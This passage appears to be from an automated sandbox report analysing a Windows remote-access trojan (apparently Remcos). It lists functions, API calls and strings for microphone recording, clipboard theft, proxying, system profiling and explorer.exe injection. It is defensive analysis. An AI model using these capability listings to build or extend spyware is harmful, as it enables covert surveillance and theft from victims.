                                                                                                                              • Sleep.KERNEL32(000003E8), ref: 0040AE54
                                                                                                                                • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                                                                                              • String ID: [${ User has been idle for $ minutes }$]
                                                                                                                              • API String ID: 911427763-3954389425
                                                                                                                              • Opcode ID: feb8edceca8c1d3b0438b79f4b5d8782787a457fd28da8b62aac7c6790c891ec
                                                                                                                              • Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
                                                                                                                              • Opcode Fuzzy Hash: feb8edceca8c1d3b0438b79f4b5d8782787a457fd28da8b62aac7c6790c891ec
                                                                                                                              • Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F
                                                                                                                              Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
                                                                                                                              • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
                                                                                                                              • __dosmaperr.LIBCMT ref: 0043A8A6
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
                                                                                                                              • __dosmaperr.LIBCMT ref: 0043A8E3
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
                                                                                                                              • __dosmaperr.LIBCMT ref: 0043A937
                                                                                                                              • _free.LIBCMT ref: 0043A943
                                                                                                                              • _free.LIBCMT ref: 0043A94A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2441525078-0
                                                                                                                              • Opcode ID: 333218d4c374834d2f5605b8d1434d3a456e4a6d1d3d381f1630f1823c8abcb3
                                                                                                                              • Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
                                                                                                                              • Opcode Fuzzy Hash: 333218d4c374834d2f5605b8d1434d3a456e4a6d1d3d381f1630f1823c8abcb3
                                                                                                                              • Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A
                                                                                                                              Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • SetEvent.KERNEL32(?,?), ref: 004054BF
                                                                                                                              • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040556F
                                                                                                                              • TranslateMessage.USER32(?), ref: 0040557E
                                                                                                                              • DispatchMessageA.USER32(?), ref: 00405589
                                                                                                                              • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                                                                                                                              • HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 00405679
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                                                                                              • String ID: CloseChat$DisplayMessage$GetMessage
                                                                                                                              • API String ID: 2956720200-749203953
                                                                                                                              • Opcode ID: d61d42d8eab0d720631995167214654c6103fa2369fe784e1bd38fbaf09f349a
                                                                                                                              • Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
                                                                                                                              • Opcode Fuzzy Hash: d61d42d8eab0d720631995167214654c6103fa2369fe784e1bd38fbaf09f349a
                                                                                                                              • Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A
                                                                                                                              Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31
                                                                                                                              • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00417DE5
                                                                                                                              • DeleteFileA.KERNEL32(00000000), ref: 00417DF4
                                                                                                                              • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                                                                                                                              • String ID: 0VG$0VG$<$@$Temp
                                                                                                                              • API String ID: 1704390241-2575729100
                                                                                                                              • Opcode ID: 1c1b3640276c9f2484efac8a9a88c7dcef26998f5c3edd0453bd207f6b4608f6
                                                                                                                              • Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
                                                                                                                              • Opcode Fuzzy Hash: 1c1b3640276c9f2484efac8a9a88c7dcef26998f5c3edd0453bd207f6b4608f6
                                                                                                                              • Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99
                                                                                                                              Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenClipboard.USER32 ref: 00416941
                                                                                                                              • EmptyClipboard.USER32 ref: 0041694F
                                                                                                                              • CloseClipboard.USER32 ref: 00416955
                                                                                                                              • OpenClipboard.USER32 ref: 0041695C
                                                                                                                              • GetClipboardData.USER32(0000000D), ref: 0041696C
                                                                                                                              • GlobalLock.KERNEL32(00000000), ref: 00416975
                                                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                                                                                                                              • CloseClipboard.USER32 ref: 00416984
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                                                                                                              • String ID: !D@
                                                                                                                              • API String ID: 2172192267-604454484
                                                                                                                              • Opcode ID: 014ab2952fb1720400378532343d04f3ca6c69c69b6d94fb269798378f0b3219
                                                                                                                              • Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
                                                                                                                              • Opcode Fuzzy Hash: 014ab2952fb1720400378532343d04f3ca6c69c69b6d94fb269798378f0b3219
                                                                                                                              • Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69
                                                                                                                              Function 004132D2 Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
                                                                                                                              • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
                                                                                                                              • GetFileSize.KERNEL32(?,00000000), ref: 00413432
                                                                                                                              • UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 0041345F
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 00413465
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 297527592-0
                                                                                                                              • Opcode ID: 1b52e587fb9d9e89c8408f811d16bdaf082f1bab315b69f0c216b55e30adf48b
                                                                                                                              • Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
                                                                                                                              • Opcode Fuzzy Hash: 1b52e587fb9d9e89c8408f811d16bdaf082f1bab315b69f0c216b55e30adf48b
                                                                                                                              • Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E
                                                                                                                              Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
                                                                                                                              • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
                                                                                                                              • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 221034970-0
                                                                                                                              • Opcode ID: 06969d4054276dbf450069cd14adbb04630f9483e2dd0d38d9b092c5558579ee
                                                                                                                              • Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
                                                                                                                              • Opcode Fuzzy Hash: 06969d4054276dbf450069cd14adbb04630f9483e2dd0d38d9b092c5558579ee
                                                                                                                              • Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA
                                                                                                                              Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _free.LIBCMT ref: 00448135
                                                                                                                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                                                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                                                              • _free.LIBCMT ref: 00448141
                                                                                                                              • _free.LIBCMT ref: 0044814C
                                                                                                                              • _free.LIBCMT ref: 00448157
                                                                                                                              • _free.LIBCMT ref: 00448162
                                                                                                                              • _free.LIBCMT ref: 0044816D
                                                                                                                              • _free.LIBCMT ref: 00448178
                                                                                                                              • _free.LIBCMT ref: 00448183
                                                                                                                              • _free.LIBCMT ref: 0044818E
                                                                                                                              • _free.LIBCMT ref: 0044819C
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 776569668-0
                                                                                                                              • Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                                                                                                                              • Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
                                                                                                                              • Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                                                                                                                              • Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5
                                                                                                                              Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Eventinet_ntoa
                                                                                                                              • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                                                                                                                              • API String ID: 3578746661-3604713145
                                                                                                                              • Opcode ID: 63dff2fd752418fa4a45836bec1d77816f695f6a23f7f7b31758766d03edbebb
                                                                                                                              • Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
                                                                                                                              • Opcode Fuzzy Hash: 63dff2fd752418fa4a45836bec1d77816f695f6a23f7f7b31758766d03edbebb
                                                                                                                              • Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE
                                                                                                                              Function 00455F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: DecodePointer
                                                                                                                              • String ID: acos$asin$exp$log$log10$pow$sqrt
                                                                                                                              • API String ID: 3527080286-3064271455
                                                                                                                              • Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                                                                                                                              • Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
                                                                                                                              • Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                                                                                                                              • Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E
                                                                                                                              Function 0044B3BC Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,PkGNG,0044BB31,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B3FE
                                                                                                                              • __fassign.LIBCMT ref: 0044B479
                                                                                                                              • __fassign.LIBCMT ref: 0044B494
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
                                                                                                                              • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000,?,?,?,?,?,?,?,?,PkGNG,0044BB31,?), ref: 0044B4D9
                                                                                                                              • WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000,?,?,?,?,?,?,?,?,PkGNG,0044BB31,?), ref: 0044B512
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 1324828854-263838557
                                                                                                                              • Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                                                                                                                              • Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
                                                                                                                              • Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                                                                                                                              • Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9
                                                                                                                              Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5
                                                                                                                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                                                              • Sleep.KERNEL32(00000064), ref: 00417521
                                                                                                                              • DeleteFileW.KERNEL32(00000000), ref: 00417555
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CreateDeleteExecuteShellSleep
                                                                                                                              • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                                                                                                              • API String ID: 1462127192-2001430897
                                                                                                                              • Opcode ID: d6a7a8c36c87aba2787b8ea33aa4d1f7fca6d44790c4f13fbcc8ebc3b329175f
                                                                                                                              • Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
                                                                                                                              • Opcode Fuzzy Hash: d6a7a8c36c87aba2787b8ea33aa4d1f7fca6d44790c4f13fbcc8ebc3b329175f
                                                                                                                              • Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C
                                                                                                                              Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                                                                                                                              • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Users\user\Desktop\rSOD219ISF-____.scr.exe), ref: 0040749E
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CurrentProcess
                                                                                                                              • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                                                                                                                              • API String ID: 2050909247-4242073005
                                                                                                                              • Opcode ID: c96af00a5e7ec94e66acc45bf1863d5a4294996af44aaa2752f51638bf238a49
                                                                                                                              • Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
                                                                                                                              • Opcode Fuzzy Hash: c96af00a5e7ec94e66acc45bf1863d5a4294996af44aaa2752f51638bf238a49
                                                                                                                              • Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F
                                                                                                                              Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _strftime.LIBCMT ref: 00401D50
                                                                                                                                • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                                                                                                              • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000,?), ref: 00401E02
                                                                                                                              • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                                                                                                                              • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                                                                                                              • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                                                                                                                              • API String ID: 3809562944-243156785
                                                                                                                              • Opcode ID: 056d7ed0179ee1e3bc41876d6f94bfa6cd5a524795bf822a31929a0c00ad1597
                                                                                                                              • Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
                                                                                                                              • Opcode Fuzzy Hash: 056d7ed0179ee1e3bc41876d6f94bfa6cd5a524795bf822a31929a0c00ad1597
                                                                                                                              • Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E
                                                                                                                              Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
                                                                                                                              • int.LIBCPMT ref: 00410E81
                                                                                                                                • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                                                                                                                • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                                                                                                                              • std::_Facet_Register.LIBCPMT ref: 00410EC1
                                                                                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
                                                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
                                                                                                                              • __Init_thread_footer.LIBCMT ref: 00410F29
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                                                                                                                              • String ID: ,kG$0kG
                                                                                                                              • API String ID: 3815856325-2015055088
                                                                                                                              • Opcode ID: e119dbdcd7508405a4e8dfb13a442e59be6990f0aecb212b832b7139a16d9266
                                                                                                                              • Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
                                                                                                                              • Opcode Fuzzy Hash: e119dbdcd7508405a4e8dfb13a442e59be6990f0aecb212b832b7139a16d9266
                                                                                                                              • Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D
                                                                                                                              Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                                                                                                                              • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000,00000024), ref: 00401C8F
                                                                                                                              • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                                                                                                                              • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                                                                                                                              • waveInStart.WINMM ref: 00401CFE
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                                                                                              • String ID: dMG$|MG$PG
                                                                                                                              • API String ID: 1356121797-532278878
                                                                                                                              • Opcode ID: 993692589c413c6f5f0556b0fca4e76cf40985a39ae9ebd2fae1836bdcb2a895
                                                                                                                              • Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
                                                                                                                              • Opcode Fuzzy Hash: 993692589c413c6f5f0556b0fca4e76cf40985a39ae9ebd2fae1836bdcb2a895
                                                                                                                              • Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                                                                                                                              Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476
                                                                                                                                • Part of subcall function 0041D50F: RegisterClassExA.USER32(00000030), ref: 0041D55B
                                                                                                                                • Part of subcall function 0041D50F: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041D576
                                                                                                                                • Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580
                                                                                                                              • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
                                                                                                                              • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
                                                                                                                              • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
                                                                                                                              • TranslateMessage.USER32(?), ref: 0041D4E9
                                                                                                                              • DispatchMessageA.USER32(?), ref: 0041D4F3
                                                                                                                              • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0041D500
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
